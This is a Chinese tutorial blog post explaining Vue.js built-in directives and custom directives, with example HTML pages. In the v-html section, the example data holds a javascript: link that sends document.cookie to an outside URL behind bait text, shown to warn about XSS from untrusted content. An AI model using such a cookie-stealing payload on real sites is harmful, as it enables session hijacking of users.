Vue核心 内置指令 自定义指令

本文详细介绍了Vue.js中的几个重要指令:v-text用于渲染文本内容,区别于插值语法;v-html用于插入HTML结构,但需要注意安全性问题;v-cloak用于解决页面加载时的未编译模板显示问题;v-once只渲染元素和组件一次,用于性能优化;v-pre跳过编译过程以提高效率。此外,还探讨了自定义指令的定义和使用,包括bind、inserted和update等生命周期钩子。
摘要由CSDN通过智能技术生成

1.16. 内置指令

之前学过的指令

  • v-bind: 单向绑定解析表达式,可简写为 :xxx
  • v-model: 双向数据绑定
  • v-for: 遍历数组/对象/字符串
  • v-on: 绑定事件监听, 可简写为@
  • v-if: 条件渲染(动态控制节点是否存存在)
  • v-else: 条件渲染(动态控制节点是否存存在)
  • V-show: 条件渲染(动态控制节点是否展示)

1.16.1. v-text 指令

v-text指令:

  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别: v-text会替换掉节点中的内容,**{{xxx}}**则不会
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-text</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        学过的指令:
            v-bind: 单向绑定解析表达式,可简写为 :xxx
            v-model: 双向数据绑定
            v-for: 遍历数组/对象/字符串
            v-on: 绑定事件监听, 可简写为@
            v-if: 条件渲染(动态控制节点是否存存在)
            v-else: 条件渲染(动态控制节点是否存存在)
            V-show: 条件渲染(动态控制节点是否展示)
      
      v-text指令:       
            1.作用:向其所在的节点中渲染文本内容
            2.与插值语法的区别: v-text会替换掉节点中的内容,{{xx}}则不会
    -->    

    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb',
                str:'<h3>你好啊!</h3>'
			},
		});
    </script>
</body>
</html>

1.16.2. v-html 指令

v-html指令

  • 作用:向指定节点中渲染包含html结构的内容

  • 与插值语法的区别:

    • v-html会替换掉节点中所有的内容,**{{xxx}}**则不会
    • v-html可以识别html结构
  • 严重注意v-html有安全性问题!!!

    • 在网站上动态渲染任意html是非常危险的,容易导致 XSS 攻击
    • 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-html</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-html指令:
            1.作用: 向指定节点中渲染包含html结构的内容
            2.与插值语法的区别:
                (1).v-html会替换掉节点中所有的内容,{{xx}}则不会
                (2).v-html可以识别html结构
            3.严重注意: v-html有安全性问题!!!!
                (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
                (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
    -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
			},
		});
    </script>
</body>
</html>

1.16.3. v-cloak 指令

v-cloak指令(没有值)

  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出**{{xxx}}**的问题
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-cloak</title>
    <style>
        [v-cloak] {
            display:none;
        }
    </style>
    
    <!-- 够延迟5秒收到vue.js -->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</head>
<body>
    <!--
        v-cloak指令(没有值):
            1.本质是工个特殊属性, Vue实例创建完毕并接管容器后, 会删掉v-cloak属性
            2.使用css配合v-cloak可以解决网速慢时页面展示出[{xxx}}的问题
    -->
    
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-cloak>{{ name }}</h2>
    </div>
    
    <script type="text/javascript">
        console.log(1);
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                name:'liqb'
			}
		});
    </script>
</body>
</html>

1.16.4. v-once 指令

  • v-once所在节点在初次动态渲染后,就视为静态内容了
  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-once指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-once指令:
            1.v-once所在节点在初次动态渲染后,就视为静态内容了
            2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-once>初始化的n值是: {{n}}</h2>
        <h2>当前的n值是: {{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			}
		});
    </script>
</body>
</html>

1.16.5. v-pre 指令

  • 跳过v-pre所在节点的编译过程
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>v-pre指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        v-pre指令:
            1.跳过其所在节点的编译过程
            2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2 >当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			}
		});
    </script>
</body>
</html>

1.17. 自定义指令

directives

定义语法

  1. 局部指令
    new Vue({ 
        directives:{ 
            指令名:配置对象 
        }
    })
    
    new Vue({ 
        directives:{ 
            指令名:回调函数 
        }
    })
    
  2. 全局指令
    Vue.directive(指令名, 配置对象)
    或
    Vue.directive(指令名, 回调函数)
    
  3. 配置对象中常用的3个回调函数
    1. **bind(element, binding) ** 指令与元素成功绑定时调用
    2. inserted(element, binding) 指令所在元素被插入页面时调用
    3. update(element, binding) 指令所在模板结构被重新解析时调用
    4. element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name value oldValue expression arg modifiers
  4. 备注
    1. 指令定义时不加v-,但使用时要加v-
    2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>自定义指令</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--
        需求1: 定义v-big指令和v-text功能类似但会把绑定的数值放大10倍
        需求2: 定义个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
        
        自定义指令总结:
            一、定义语法:
                (1).局部指令:
                    new Vue({ 
                        directives:{ 
                            指令名:配置对象 
                        }
                    })
                    
                    new Vue({ 
                        directives:{ 
                            指令名:回调函数 
                        }
                    })
                (2).全局指令:
                    Vue.directive(指令名, 配置对象)
                    或
                    Vue.directive(指令名, 回调函数)
           二、配置对象中常用的3个回调:         
                (1).bind:指令与元素成功绑定时调用
                (2).inserted: 指令所在元素被插入页面时调用
                (3).update:指令所在模板结构被重新解析时调用
           三、备注:
                1.指令定义时不加v-,但使用时要加v-;
                2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h2>当前的n值是: <span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <hr />
        <input type="text" v-fbind:value="n">
    </div>

    <script type="text/javascript">
        // 阻止vue在启动时生成生产提示
        Vue.config.productionTip = false;

        // 定义全局指令
        // Vue.directive('big', function(element, binding) {
        //     // 🔴注意此处的 this 是 window
        //     console.log('big', this);
        //     element.innerText = binding.value * 10;
        // })
        
        // Vue.directive('fbind',{
        //     // 指令与元素成功绑定时(一上来) 
        //     bind(element, binding) {
        //         element.value = binding.value
        //     },
        //     // 指令所在元素被插入页面时 
        //     inserted(element, binding) {
        //         element.focus()
        //     },
        //     // 指令所在的模板被重新解析时
        //     update(element, binding) {
        //         element.value = binding.value
        //     }
        // })
		
		new Vue({ 
			el: '#root',  	  
			data:{
                n:1
			},
            // 定义局部过滤器
            directives: {
                // big函数何时会被调用?
                // 1.指令与元素成功绑定时(一上来) 
                // 2.指令所在的模板被重新解析时
                big(element, binding) {
                    // 🔴注意此处的 this 是 window
                    console.log('big', this);
                    element.innerText = binding.value * 10;
                },
                'big-number'(element, binding) {
                    // 🔴注意此处的 this 是 window
                    console.log('big', this);
                    element.innerText = binding.value * 10;
                },
                fbind: {
                    // 指令与元素成功绑定时(一上来) 
                    bind(element, binding) { 
                        element.value = binding.value 
                    },
                    // 指令所在元素被插入页面时 
                    inserted(element, binding) { 
                        element.focus() 
                    },
                    // 指令所在的模板被重新解析时
                    update(element, binding) { 
                        element.value = binding.value 
                    }
                }
            }
		});
    </script>
</body>
</html>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值